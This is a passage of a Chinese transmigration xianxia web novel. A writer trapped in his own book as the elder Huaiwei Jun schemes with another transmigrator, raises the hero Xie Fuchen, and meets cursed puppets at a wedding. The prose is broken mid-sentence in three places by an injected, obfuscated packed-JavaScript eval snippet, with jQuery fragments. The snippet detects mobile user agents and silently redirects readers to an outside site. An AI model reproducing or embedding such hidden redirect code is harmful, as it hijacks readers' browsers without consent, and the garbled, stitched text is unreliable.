沈轻随有些讪讪的,细想其实也有他的锅,为了让主角一路牛逼哄哄打怪带妹,配角基本都是无脑犯贱然后被凌虐致死,确实也挺不人道的。他道:“戚兄好人品,我有一计可保你性命,但你得答应我一件事。” 戚迟:“啥事儿?” 沈轻随:“就是你系统要你干的那些事……” 戚迟:“???沈兄你莫不是在逗我,你知道我在书里的结局是什么吗?” 沈轻随当然知道,不就是一直作死,然后被男主抓住慢慢玩死。哦还有个老婆被抢的剧情,不过看他现在这副狗爬样子,应该是讨不到老婆的,所以这一节姑且可以省略。 戚迟龇牙咧嘴道:“不要,不要不要,我已经很努力在保命了,你这是把我往火坑里推!坚决拒绝!” 沈轻随想来也是,就他目前的操作来看,确实都是有可能害死男主但又可以把自己摘得干干净净的,这样就算男主光环实在强大最后活着回来了,他也不至于被记恨报复。 这人也许并没有看上去那么蠢。 为防止同乡间的情谊因为猜忌而破裂,沈轻随不动声色地瞒下了自己的任务,只是道:“我当然不会坑你,但是我的系统也说了,男主不黑化的话这个世界就会崩塌,到时候咱俩一个也活不成。” 戚迟的小豆眼溜溜转着:“真的假的?” 沈轻随道:“真的。反正我有办法救你,你想啊,作为一个诚信友善的现代人,我怎么可能眼睁睁看着你去死?那我还是人吗!” 沈轻随想的很简单,原书的怀微君跟谢负尘可没什么恩怨,还有一套了不得的功法傍身,事成之后他脚一蹬撤了,戚迟再把这身皮一穿,随便找个桃源仙境苟着,谁还能把他咋地了? 戚迟被说动了。 两人约定,待时机一到,戚迟就按照原书剧情陷害男主,让他被镇压入谷。然后身份一换,从此海阔凭鱼跃,天高任鸟飞,男主就是想报仇,也会发现他“师兄”早就已经死了。 这么一商量,沈轻随总算是把悬在心头的石头给放下了。 穿书货的问题解决了,那接下来就只要抓住三年后的试训机会,保证男主能顺利拜师无阙剑就行。这样一来,前期的剧情应该就算是修复完了。 果然,单打独斗是没有未来的,团结合作才是人类智慧的结晶啊! 沈轻随心情大好,提着酒葫芦到处溜达起来。 修真者们虽然自诩“非凡”,但到底是脱胎于尘世,不可能彻底免俗,披云山庄每年都会跟着凡间节令举办各种不同的盛会——春日花朝,舞剑扑蝶;夏时乞巧,拜月吟诗;秋来重阳,饮酒试金;冬季腊八,食粥祭祀。 比较值得一提的是秋季那场。 披云山的演武场气势恢宏,不仅是剑阁弟子修习的地方,同时也是一个面向全天下的总擂台。上面立着一块巨大的石壁,用天地炉之火烫着古往今来比试前一百名的姓名金字,人称“试金榜”。这是无数英雄豪杰证道的地方,剑阁数十任领导人的名字全都赫然在列。 当然你可能要问,榜上之人又不可能随时恭候人来踢馆,万一叫人家扑个空该怎么办? 这也就是总擂台设在披云山的缘由了!受了千百年演武场的武气熏陶,天地炉中的火已经能够模拟出场上人的一招一式,只要试金榜上有名,就能随时调取,供后人对战。 简而言之,是一个极其牛逼的数据库。 多少侠客一生所追求的目标,就是在试金榜上留名,所以时常有各地的武者不远万里奔赴而来,想试试看自己到底是金是石。 但要想击败历朝历代的佼佼者谈何容易?发展到后来,大家慢慢地不再执着于“金榜题名”,而更多是把它当作一场武林盛会,用以切磋交友,日子就定在九九重阳,人称“试金大会”。 眼下寒冬将过,春意渐临,器阁作为庞大的后勤部门,为迎接马上到来的花朝会,扎绣球的扎绣球,拟花签的拟花签,忙得不亦乐乎。 沈轻随偷偷折了一枝美人梅簪在发间,一路招猫逗狗,惹得路边的仙子们纷纷笑他。 有大胆的还上来调侃说:“久闻怀微君多年闭关不出,还道定是个白胡子老古板,怎知是个这般有趣的簪花郎君!” 沈轻随被哄得心花怒放,正要捡些好听的调笑回去,却听身后有人道:“哟,师兄今天怎么有空来我这儿逛?” 那人坐在一片枫叶之上,满头珠翠,气度雍容。一双丹凤眼微微上挑,似笑非笑地看过来,给人一种说不上来的压迫感。 弟子们纷纷见礼:“毓华君。” 沈轻随嘿嘿一笑:“我这不是来看看师妹你吗,想着能不能再领两只会跳舞的鸡呀鹅什么的回去。” 东方尧眯眼冷笑:“你那条小鱼儿真是胆大包天,居然敢潜进我器阁汤池,留它一条性命回去已经是给你面子了,还要来找我兴师问罪不成?” “……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266330|166588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妈呀,事情居然是这样的! 在场的仙子们纷纷掩唇而笑。沈轻随的表情凝固了,忙拉过东方尧往另一个方向逃去:“好师妹,你小声点说。” 他就是再不要脸,偷看妹子洗澡的罪名也担不起啊! 走了没几步,忽然有两个熟悉的人影撞入了他余光之中。不远处的一棵桃花树下,少男少女靠得很近,正在说什么悄悄话。少女抱着腿坐在阶上,肩膀一耸一耸,似乎在哭,少年则手舞足蹈乱做鬼脸,好像在努力逗她笑。 沈轻随眼睛一亮,唤道:“风天阳!” “哎!”少年立刻弹起立正,一脸茫然,四处张望是谁在叫他。 沈轻随招呼道:“这里。” 少女慌乱抹了把脸,也朝他看来。稚气的脸庞,红红的眼睛,睫上还垂着泪珠,不是武寅月又是谁? 沈轻随揽住风天阳的肩膀,盘问道:“不是嫌‘又苦又热’?才来了多久啊,怎么跟小姑娘已经这么好了?” 风天阳不好意思地挠了挠头,只小小地唤了声“怀微君”,倒是武寅月先开口道:“回怀微君的话,我跟阿阳以前是邻居,要不是你把他罚来剑炉,我都不知道他和我一样也拜入了披云山呢,我们都好多年没见了。” 沈轻随夸张地“哇”了一声,又道:“怎么眼睛红成小兔子了,是不是风天阳欺负你?尽管告诉我,我帮你教训他。” 东方尧在一边哼道:“看看你们术阁的作风,上梁不正下梁歪!” 武寅月忙摆手道:“哎呀不是不是,不干他的事,是我自己不好,我昨天……”还没说两句,她鼻子一皱,又带上了哭腔。 东方尧也看出不对了,这可是她最宝贝的弟子,难不成是叫人欺负去了?皱眉道:“好好说话,你昨天怎么了?” “我,我昨天去了……” “去了茵茵谷对不对?”沈轻随笑道,“是不是在想谢负尘?放心吧,他没事。” 武寅月张大了眼睛:“真的吗!可是他明明掉到石鳄嘴里了,还叫我去找他师兄,但我也没有找到,只看到地上有血,我还以为他们两个都……” 东方尧睨了沈轻随一眼:“你怎么知道?” “上梁不正”的怀微君顿时有了底气,摇头晃脑起来:“我救的呗!妹妹别哭了,他们两个都好着呢,不信的话你来我衔风居看看就知道了。” 武寅月是不哭了,风天阳却莫名紧张起来:“谢负尘是谁?” 都是男人,沈轻随哪里看不出他的心思,心里为这只呆头鹅点了一根蜡:“不是谁,一个小美人而已。” 原来是美人,风天阳呼出一口气,却听武寅月道:“哎呀不是啦,是个很俊俏,很厉害的师弟!个子高高的,瘦瘦的,人特别好,就是不太爱说话。” 沈轻随看着风天阳刚松下去的脸又一秒绷紧,憋笑快要憋出内伤了,转头看见人流在往一个地方汇去,问道:“那是在干什么?” 东方尧道:“那些都是剑阁的弟子。” 沈轻随心下了然。花朝会在即,要上台舞剑的弟子们都忙着给飞剑镀金镶钻,或者是干脆打一把专门的“绣花剑”,好提高自己的观赏价值,夺得仙子们的芳心。 这帮穷鬼平常抠搜,一提到飞剑立马就来了劲地砸钱,也不知道真是为了取悦仙子们好讨媳妇,还是说就只是找个借口多打把剑取悦取悦自己而已。 这么看了一会儿,一个想法突然窜过脑海,沈轻随道:“师妹,帮我个忙行不?” 8. 三载朝夕 回到衔风居的时候已经日薄西山。 沈轻随在房前屋后转了一圈,没看到谢负尘的影子,床上被褥叠得整整齐齐,想来是觉得腿伤无碍,已经回去了。 桌上不知是谁放了几碟糕点,还做了花样。粉嘟嘟的团子,衬了几片竹叶的雪白切糕,大概是怕他吃得噎住,旁边还贴心地沏了一壶清茶,两片嫩嫩的叶浮在碧莹莹的茶盏之中。 修仙之人虽然辟谷,但作用只在不吃东西也不至于饿死,并不代表不爱享用美食,级别越高的修士反而可能越是讲究,不吃凡人的鱼肉,只吃仙山灵谷中天生地长的瓜果菜蔬。 沈轻随拈起一块吃了两口,十分满意,正手忙脚乱地接掉下来的糕点渣渣,忽见窗外走来一个人。 少年一身浅碧色衣衫,身长玉立,手里捧着一枝可爱的红梅,步子轻盈地朝衔风居走来。可能是怕擦坏了娇嫩的花儿,他推篱笆的动作小心翼翼,这时候不经意的一抬眸,恰好对上了窗中人的眼神。 谢负尘浅浅一笑:“怀微君,您回来了。” 他将红梅捧入屋中,把枝干的切口在桌边的小油灯上烧了一烧,渗入泥浆封固,插进一根盛水的锡胆管,然后才连胆带花一起,放在了窗前的古铜尊里。 沈轻随被这些花里胡哨的步骤弄得一愣一愣的,笑道:“直接插进去不就好了,这么麻烦干什么?花是挺好看的,但怎么就折这么一根,后山不是很多吗,多砍点没事,不用跟我客气!” 谢负尘道:“梅乃花中之魁,生得曲折奇峭,本就可以独当一瓶,插贮不宜繁杂,一枝足矣。” 沈轻随本来以为他是在别人的地盘不好意思多摘,豪言一放想充个大方,没想到暴露了自己可怜的文化程度和审美水平,默默地把“这枝还全是花苞你摘来干嘛”的疑惑咽了回去。 他看上去好懂。 这么做一定有他的道理! 谢负尘看他欲言又止,好像明白了什么,笑道:“养一段时间就会开了,这样能把花留得久些,侍弄好了,说不定还能结出梅子来。” 沈轻随“哦”了一声:“能吃吗?” 谢负尘:“可能会有点苦。” 沈轻随想起来了,他给男主设定的爹娘都不是普通人,谢负尘的娘亲谢筠是个自带一身花草药香的才女,从小耳濡目染,在这些事上面肯定要比他一个天天在出租屋敲键盘的宅男懂得多多了,没什么好丢人的。 思及此,沈轻随意味不明地看了他两眼,心情有些复杂。 一直以来,他都以谢负尘的“生父”自居,但有句古话说得好,龙生龙凤生凤,老鼠的儿子会打洞。扪心自问,自己这样式的,确实是生不出谢负尘这种品貌兼优的儿子。 种种迹象都能表明,在这个世界里,谢负尘实实在在是一个独立的人了,而不是什么《绝世修仙传》的男主,更不是他“随缘更新”笔下的傀儡——沈轻随想不承认也不行。 嘴巴里的糕点顿时没了滋味,他把一壶清茶牛饮下肚,往床上重重一躺,把叠得好好的被子一脚踢散了,背对着谢负尘摆摆手道:“腿脚灵光了就滚吧,在这里碍手碍脚的。” 身后一点声音也没有。 …… 让你滚就真滚了?沈轻随装模作样半晌,还是忍不住回头看去,只见油灯已熄,门窗处昏沉沉的,夜风拂动梅枝,送来片缕幽香。 沈轻随咕噜一下从床上蹬了起来,打算把这朵碍眼的破花丢到看不见的地方去,刚走近就见窗外伏着一团黑影。 他正心烦着,想也不想就甩出一张炮仗符。 管你是什么东西,吃我一炸再说! ……却没炸起来。符咒被他手臂牵扯打翻的花瓶中水给浇灭了。 谢负尘蹲在窗沿下,眼疾手快地接住了掉下来的古铜尊,一脸莫名地看着他:“怀微君?” 沈轻随:“……你怎么还在这里。” 谢负尘把花重新摆好,道:“负责洒扫衔风居的童师兄升入内门了,此处职位空缺,我正好要挣学分,就向臧仙长申请过来了。” 哦对,男主现在还是个需要到处打杂的外门弟子来着。 沈轻随有些不悦,你堂堂一个龙傲天,打杂也不挑挑地方的吗?不去天地炉淬炼,不去演武场流汗,甚至不去掌门殿刷脸,跑来我这鸡都懒怠打鸣的衔风居干啥?能不能有点出息! 沈轻随语重心长道:“我这用不着你,你多去剑阁转转,无阙剑在的话跟人家探讨探讨功夫,对你有好处。” 谢负尘应了一声,又蹲下身去,沈轻随探头一看,见他手里拎着的正是那条已经恢复巴掌大小的胖头鱼。 他若无其事地把鱼丢进水缸,朝沈轻随笑笑:“它不小心跳出来了。怀微君,您早些休息吧,我先走了。” 沈轻随目送着他的背影消失在夜色苍茫之中,走到水缸前,把刚揪下来的几朵梅花丢了下去。锦鲤好似改了性子,不仅没扑过来叼住,甚至还尾巴一甩,往更深处游去。 翌日一早,沈轻随还没睁开眼睛,就闻见了一股浓郁的香味。 不是花香,而是食物的香气。 狗鼻子拱了拱,他衣服也没穿就弹了过去。只见小几上放着一碗浮清油的酸笋肉粥,一碟豆腐皮小包子,还有几块糖糕。 呼噜呼噜一碗粥下肚,味也没见得尝到多少就打了个饱嗝,沈轻随叼住一块糖糕,心满意足地晃回去穿衣服。 他简直幸福得想哭。 回想起来,穿到书里这么久了,他竟然都没正经吃过一顿好饭! 想当初他天天在电脑前敲键盘,坐久了胃口总是不好,就会点上这么一碗薄粥或者馄饨,那家巨无敌好吃的外卖牌子到现在他都还记忆犹新。就是死贵,轻易不舍得买,只有发稿费的那天才会奢侈一顿。 沈轻随意犹未尽地舔舔嘴唇,纠结了好一会儿,还是下定决心: 哪怕男主做饭好吃到爆表,也不能纵容他在这里蹉跎光阴!成大事者怎么能天天在厨房待着?连御灵军那帮蠢货都知道,伙夫是没有前途的! 这人嘴里的糖糕还黏黏糊糊没嚼完,忘本是忘得一干二净了,气势汹汹地推门出去,准备把谢负尘逮住教训一顿。 结果刚路过书馆,他自己反倒先被臧啸春逮住了。 沈轻随看见他就头大,姓臧的对学术简直有着不朽的热爱,满脑子振兴术阁的宏图大志,对自家师兄这种混吃等死的行为那叫一个恨铁不成钢,碰上了就少不了一顿叨叨。 沈轻随一脸生无可恋地走向专属于他的旁听位,却见那已经坐了个人,看清楚是谁后精神立马为之一振,瞪眼道:“你怎么在这儿?” 谢负尘向他颔首:“臧师父许我在此旁听。” 好嘛,昨天才“臧仙长”,今天就“臧师父”了,怎么一个两个都背着他有勾搭! 沈轻随看了一眼臧啸春,压低声音道:“我不是跟你说了吗,去剑阁学点本事,来我们这没用……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266331|166588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 话还没说完,一把兰花标就擦着火花飞了过来,臧啸春怒道:“你在说什么屁话!我们这怎么了,你不是我们术阁的人?他宁玉缺是养你老爹还是救你老母了,你要这么捧着他?少吃里扒外了!” 沈轻随当着弟子们的面被骂了个狗血淋头,跟他们又说不明白,有苦难言,只能恨恨地把这笔账算在了谢负尘的头上,一下学就扯着他的手往外走去。 他气沉丹田,正要将酝酿一上午的话劈头盖脸往谢负尘脸上喷一通,没成想字还没崩出一个,崩出了长长一个嗝。 还是糖糕味的。 …… 谢负尘很有涵养地没笑出声。 这么一耽搁,臧啸春也注意到了这边的动静,迈步过来,眼神不善:“说什么呢,来,让我也听听。” 沈轻随真是怕了这尊活祖宗,连连摆手:“没啥事儿……哈哈。” 谢负尘向臧啸春行了一礼,道:“多谢臧师父给弟子安排的道房,师兄们人都很好,对我也很照顾。” 臧啸春慈爱地点了点头,旋即怒视沈轻随道:“这么好一孩子,你吃饱了撑的往外赶?还去劳什子剑阁,那穷地方连房子都给不起,有什么好的!” 沈轻随只能赔笑称是——没办法,正是因为有臧同志的默默付出,他才能享受闲云野鹤般的大好时光,做人还是要讲点良心,不能碗都没放下就开始骂娘。 于是,谢负尘就这么在术阁定居了。 沈轻随一开始还会刻意冷落他,想让他知难而退,谁知后来发现,这小子的人缘居然比他还好! 臧啸春就不必说了,跟捧根金苗苗似的捧他,成天喊着“拳打演武场,脚踢天地炉”的狗血口号,说得好像谢负尘是全村的希望一样。 见了鬼的是那些弟子们也很喜欢他。 首先是风天阳,这家伙一见谢负尘,就知道糟了,生怕他真到了剑阁会跟武寅月发生点什么,死了命地要把他留在术阁,放自己眼皮子底下盯着。 还有那个扎葫芦辫的少女——宋湖,她虽然是术阁弟子,却也修剑道,以术法凝剑作战。要知道,整个术阁都找不出第二个能像谢负尘这样,只用一根竹枝就跟她打得有来有回的人了,所以也是死不放人。 简直气煞我也! 也不知到底是谁吃里扒外,想他堂堂术阁长老,竟然还比不上一个新来的小毛孩子!可见世风日下,人心不古,兄友弟恭,师慈徒孝什么的都是浮云! 就这样,谢负尘靠着每天给衔风居洒扫庭除挣够了打杂学分,也顺利通过了升入内门的考核,原来那件绿衣彻底退休,正式换上了一身金闪闪的内门弟子服,成了臧啸春的一颗掌上金珠。 不知不觉三年已过。 事已至此,沈轻随只能作最后的一次垂死挣扎。 那就是在开春的弟子试训之中,让宁玉缺注意到这个天纵奇才,主动要人! 没错,宁玉缺是一个不折不扣的武痴,原剧情里就是因为看到谢负尘使出了一招他从未见过的绝妙剑式,为追求武学的终极境界,这才破格将他收入门下。可见要想收获这种钢铁直男的青眼,就必须在实力上将其征服! 不过…… 沈轻随看着正被风天阳拉着酿桃花酒的谢负尘,哀叹连连。 难以想象,本该在演武场大杀四方的男主,如今居然成了个洗手做羹汤的贤夫。难道以后打怪带妹要靠投喂的方式吗?拜托,又不是哆啦酱的桃太郎饭团! 9. 傀儡喜宴 弟子试训是披云山庄的老项目了,四阁都要参加,区别是器阁与药阁的试训是留在门中进行,术阁与剑阁的则要到山外去,以斩邪除祟为考核内容。 说是这么说,其实也没什么好斩的。 如今花湖洲在凡间的势力越来越大,几乎遍布每一座城每一个村,邪祟露头就秒,天下一片太平。何况,若所谓的仙人只在门中考核的时候才去斩妖除魔,那把凡人的性命当什么了? 但试训总归是要进行的,每到这时,披云山庄就会在凡间布好“托”,其中机制一概保密,连带队的长老也是不能告诉的。 沈轻随苦臧啸春铁血手腕久矣,总算是能真正当家作主一回,刚到山下就试图把谢负尘往剑阁的队伍推,想趁此良机把这块烫手山芋脱手,没想到话一出口,立刻被各方人马给锤了回来—— 宋湖第一个不同意。这小丫头不知怎么的,一听他要把谢负尘送到无阙剑那,一张白嫩嫩的俏脸登时黑成了锅底,重重地朝他哼了一声,拽着谢负尘不肯放手。 沈轻随一头雾水,但女儿家的心思做长辈的到底是不好多问,只能脑补是她和男主关系比较好,舍不得跟人分开。 龙傲天嘛,被同门漂亮的小师姐看上什么的可太正常了,说不定在他不知道的时候,两个人早就……咳咳,不知道是不是因为剧情变动的原因,谢负尘在术阁待的这三年里,居然一个明面上的后宫都没有! 原著中的这时候,他屁股后面早跟了一个连的妹子了,可见穿书者篡改剧情的危害之大,严重影响了我们男主大大的桃花运! 哦说起穿书者,戚迟这夯货平时躲天躲地,试训终于是躲不过了,哼哼唧唧地窝在剑阁的人堆里,看见男主就吱哇乱叫,偷偷传音给沈轻随控诉道:“沈兄你别忘了我现在还是炮灰,能不能带着你的男主大大离我远一点!!!” 至于本场争论的核心人物宁玉缺,像他这种刀尖舔血的真汉子,对天天舞文弄墨附庸风雅的术阁人士有一种天然的歧视心理,觉得会拜进术阁的都是一帮肩不能挑手不能提,只知道贪图享乐的草包,嗤笑着驳了沈轻随的提议。 现身说法“只知道贪图享乐”的怀微君表示抗议,术阁就是再草包,也没有比你们那的戚迟更草包的了! 抗议无效。 沈轻随怒极,正深吸一口气打算舌战群儒,却听谢负尘在旁边幽幽地道:“怀微君若真嫌弟子无用,我弃了此次试训的机会便是,不必让无阙剑长老与各位师兄师姐为难。” 他说着还故作轻松地笑了一下:“想来是弟子福薄,无缘拜仙君为师。”罢了恭敬地行了一礼,转身往山上走去。 那背影真是怎么看怎么凄凉。 …… 沈轻随顿时觉得身上扎了无数道鄙夷的视线,连风天阳都看不下去了,拉拉他的袖子道:“怀微君,谢师弟又没犯什么错事,您就饶了他这一回吧……” 苍天呐,再没有比这更冤枉的事了!男主你怎么这么会爬道德制高点的啊,分明是你饶了我才对吧! 沈轻随忙过去把谢负尘给截住了,好声好气道:“我不是嫌你的意思……” 谢负尘抬眸看他,眼里氤氤氲氲,嘴上还在要命地往他心窝子里戳:“弟子愚钝,不堪大用,只回去跟着臧师父学些粗使术法就心满意足了。您不用理会我,别让师兄师姐们等急了。” 哦哟,还知道搬出臧啸春来!这事儿要是被姓臧的知道了,保管用兰花镖把他钉在天地炉上烤个一年半载不可。 沈轻随以为孩子被他养歪成了个玻璃心,一巴掌拍在他脑袋上,怒道:“行了!作这副可怜样给谁看呢,我带你走还不行吗?” 不由分说地把人给扯了回来,一行人御剑奔赴几十里开外的一座小城。 记得刚把谢负尘接回来的时候,他还是一个十三四岁的少年,如今已经出落得越发惹眼,走在街上都能引起不少鬓影衣香的窃窃私语,花果不一会儿就盈满了……风天阳的包袱。 这呆头鹅嘎嘣嘎嘣啃着脆枣,抻着脖子满大街乱窜,突然跑回来叫道:“怀微君!前面有人娶媳妇!” “是吗?”沈轻随也来了兴致,这种场面他还只在武侠片里见过,大手一挥就要领着弟子们过去凑凑热闹。 只见一条长长的迎亲队伍几乎占满了整片街,高头大马,红烛花轿,仆鬟侍从一派喜气,向围观的人群散着银钱果点。 沈轻随由衷地叹道:“太有钱了!” 宋湖接到一只象征着“圆满”的馒头,冷笑道:“新郎官和这馒头长得一模一样。” 沈轻随闻言看了一眼,为首那个男人身材跟他胸前戴着的花球几乎是等比例放大,简直就是一个白馒头上卡了一颗红枣,年纪看上去也不小了,脸上皱纹横生。当即“扑哧”笑了出来:“你真别说,还是一个冻干了的馒头!” 沈轻随见谢负尘一直不说话,担心他还在为山下的事委屈,自以为安抚地在他脑袋上重重揉了一把,道:“没见过吧?走走走,今天把试训什么的先放放,我带你们喝喜酒去!” 跟着队伍来到一户朱门,牌匾上书“李府”二字。沈轻随放出一个眼神,谢负尘立即会意,拿出备好的礼品呈上。 时人崇仙,什么东西扯上个“仙”字就能坐地飞升,门房见这伙人出手不凡,只当是自家老爷发达了,拜帖也不敢问就把他们迎了进去。 这家确实有钱,流水席摆满了整个大院,连东边临时搭的戏台都有模有样,请来的班子一听就有功底,装扮富丽,嗓音婉转。他们才刚落座没多久,不要说戏文,就连戏种都换了三四样,豪横程度可见一斑! 沈轻随从小被电视剧的字幕泡大,村耳品不动仙音,咿咿呀呀的只能听个响,但他还是磕着瓜子看得津津有味。 无他,台上的小花旦实在是太漂亮了! 那美人长发垂腰,水袖款摆,风流袅娜,一颦一笑都韵味十足。 她唱完一出,向台下行礼致意,沈轻随立马拍掌叫好,“咻”地掷了一个装仙丹的红香囊过去,还故作老成地对谢负尘道:“这就是喜欢人家的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266332|166588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意思,你要是给得多,她等下还会亲自下来谢你嘞,你要不要也丢一个玩玩?” ——难为他那点可怜的知识储备里还存了这个,当即卖弄起来。 谢负尘动也不动一下,脸绷得紧紧,抿唇不语,叫沈轻随讨了个没趣。 天光渐渐暗了下来,花灯红烛在风中翻浪灼灼,屋中拜堂声高起,宾客们饮酒划拳,笑语喧阗。 台上默了一会儿,逐渐响起了咚咚的木鱼声,几个白面彩妆的木偶走了上来。它们竟比真人小不了多少,四肢关节都悬着不易见的银丝,步履蹒跚,憨态可掬。 沈轻随大赞,没想到戏种已经丰富到了这个地步,不仅南腔北调齐全,就连牵丝傀儡戏都安排上了,真是不虚此行! 白面人偶们一会儿分开,一会儿汇集,一会儿奔走,一会儿垂立,随着鼓点忙忙碌碌。但因为没有人唱词,大家好像都看不懂它们在演什么。 有“懂行”的已经开始吹嘘了:“李老爷不愧是见过世面的,连外邦的‘默戏’都有,不凡,不凡呐!” 他边上人捧道:“要不是王员外您说了,我们这帮俗人还看不懂哩!不妨给我们讲讲这是在演哪一出啊?” “不俗”的王员外谦虚一阵便得意洋洋地为他们指点迷津起来。 没多久,台上的布景换成了大红,一张大大的“囍”字贴在床头,白面人偶们簇拥着一个红面人偶上场了。 红面人偶来到床边转了几圈,好像在找什么东西,可是没有找到,它双手高高举起,暴跳如雷,白面人偶们纷纷跪地,手脚僵硬地拜了又拜,在它的指指点点中慌乱退下了。 “咚咚咚咚咚!——”木鱼声陡然急促起来。 沈轻随的脸色倏然沉了下来,虽然看不懂,但直觉告诉他,台上这出戏绝对没有任何庆祝美景良辰、喜结连理的意思。 惨白的粉面,血红的花纹,木鱼声如断珠,咚咚不止……只有一种场景会出现。 祭祀! 他把酒杯砰地一放,正要起身,忽听一个尖细的声音叫道:“你们在干什么,还不快住手!谁让你们演这些的,全部都给我滚下来!” 一个贵公子打扮的小胖墩不知从哪里冒了出来,看上去应该是这家的小少爷,他恶声恶气地骂道:“居然敢在我大哥成亲的日子演这些不吉利的东西,你们的脑袋还要不要了!” 喧哗的客宴顿时一片死寂。 哐啷!瓷杯落地碎裂。紧接着响起一阵婴孩的啼哭之声。 那些木偶浑然不觉有人在骂他们,反而在愈发急促的咚咚声里行动越来越快,四肢关节灵活如真人一般。沈轻随看得真切,它们身上悬着的银丝已经消失了! “狗东西!给脸不要脸!”小胖少爷噌噌爬上戏台,抓住一只木偶就要往台下扔,谁知凑近一看,那白面彩妆竟然只剩下了白面……五官一个都不见了! 手里抓着的浑然是一个扑了粉的白球,本该是嘴巴的位置慢慢裂开了一条殷红的缝。 弯起弧度,俨然是一张笑面。 10. 偶戏新娘 若这个朱红色的笑容是出现在一位温柔可亲的女子脸上,那定是极好看的,可惜它是出现在一个木偶人头上面,幽幽隙开,里面还是黑洞洞的。 小少爷腿一软,当即扑通一声跪倒在地,吓得连舌头都吞了,叫也叫不出来,手上仍是死死卡着那木偶人的脖子不放。倒不是他不想放,而是那瓣鲜红的“唇”中,淌下了汩汩温热的液体,如胶似漆地缚住了他的手,根本挣脱不开。 竟是出了鬼了! 宴中惊呼尖叫声迭起,如风卷残云一般往门口涌去,杯盘响撞叮叮当当,居然也盖不住那愈发清晰的咚咚木鱼! 沈轻随面沉如水,抬手飞出一根锐如箭矢的银筷,直直插入那木偶的脑中,轻点脚尖踏过人潮,在戏台上翩然落下,一手拎住小少爷的后颈,一手捏住尚未完全没入的筷尾,往两边狠狠一撕! 小少爷的手掌生生被撕掉了一层皮,流出货真价实的人血,看眼前凭空出现了一个蓝衣仙人,心知救兵已到,可以哭了,忙把刚吞进去的舌头又吐了出来,嚎得撕心裂肺,如丧考妣。 反观那木偶人则矜持多了,脑袋挨了一筷也不哭不闹,只是肉眼可见地干瘪了下去,不一会儿就皱成了一滩草纸。 原来还是个空心的。 沈轻随把这头白猪幼崽拎到台下,掀他掌心粗略一看,向率先赶过来的谢负尘一摊手:“药!” 谢负尘的脸色很不好看:“没有了!” “没有了?”沈轻随奇道,“出门不是带着的吗,怎么会没有?风天阳!” 呆头鹅一秒立正,满头大汗地在身上到处摸了一阵,急道:“咦,我的香囊呢?我明明挂在腰上的,怎么不见了……” 谢负尘很合时宜地道:“别找了!早就被怀微君赠给喜欢的女子了。” “喜欢”这两个字被他咬得格外重,苍白的脸上分明控诉着八个大字:美色误事,为老不尊! 沈轻随想起来了,红香囊可不就是被他丢给小花旦了吗?眼下变故突生,戏子宾客一散而尽,整个院子就剩下了他们几个活人,哪里还有什么灵丹妙药的影子! 沈轻随心中大喊冤枉,在他看来,所谓的试训跟小学生春游也差不了多少,弟子们自己如临大敌地备了些仙丹仙器,他压根没觉得能派上什么用场,随手就摸来丢着玩了,谁知道现实会这么刺激的哇! 台上的木偶看见自家兄弟“死”了一个,都好奇地围了过去,一堆“没脸没皮”聚在一起摇头晃脑,像是一群稚童在围观一只死掉的蚂蚱,居然还有点可爱——如果不是它们突然又开始挖那蚂蚱的肚子的话。 宋湖凝出一把冰蓝色的长剑,上前一步:“这些人偶有古怪,恐怕有怨气蔓延,还是趁早隔绝掉再做打算。” 这“隔绝”,自然就是物理上砍掉的意思,小少爷忙捂着胳膊躲在沈轻随身后,叫道:“啊啊啊!丑婆娘杀人啦——!!!” 沈轻随嘴角抽搐,这小崽子从小自产自销长大的吗,一张嘴怎么就这么臭呢? 宋湖冷冷一笑:“杀人?我今天是要杀猪!” “停,停下,宋湖!”沈轻随哭笑不得地隔开了他们两个。这小东西还有力气跟宋湖你追我赶的,看上去应该也没什么大事。 台上的木偶人把“蚂蚱”合力拖走了,又兢兢业业地忙碌起来,好在行动范围只限于台上,暂时没有要下场互动的意思。 沈轻随吩咐宋湖领着几个弟子在戏台边把守,自己则一只手拎着气喘吁吁的李小猪崽往灯火通明的大堂走去,准备给他仔细地检查一下伤口。 虽然木偶们身上没有明显的怨气,但依然不能掉以轻心。 谢负尘不动声色地拦住了他,身后还捎了个一脸莫名的风天阳,伸手把李小猪崽扯了过去,道:“怀微君,我们来吧。” 沈轻随乐得清闲,笑道:“轻点儿扶,小东西金贵着呢!” 还没进大门,就见里面歪七扭八横了一屋子的尸,花烛红丝散了一地,凌乱不堪,看上去经历了一场不小的闹剧。难怪刚才外面那么大动静都没人出来看看,正是因为他们已经“不能”出来了。 堂中趴着一个衣着华贵的男人,李小猪崽一见,顾不得疼痛就扑了上去:“爹!” 谢负尘将众人一一扶起,探过鼻息,道:“都没死,只是晕过去了。” 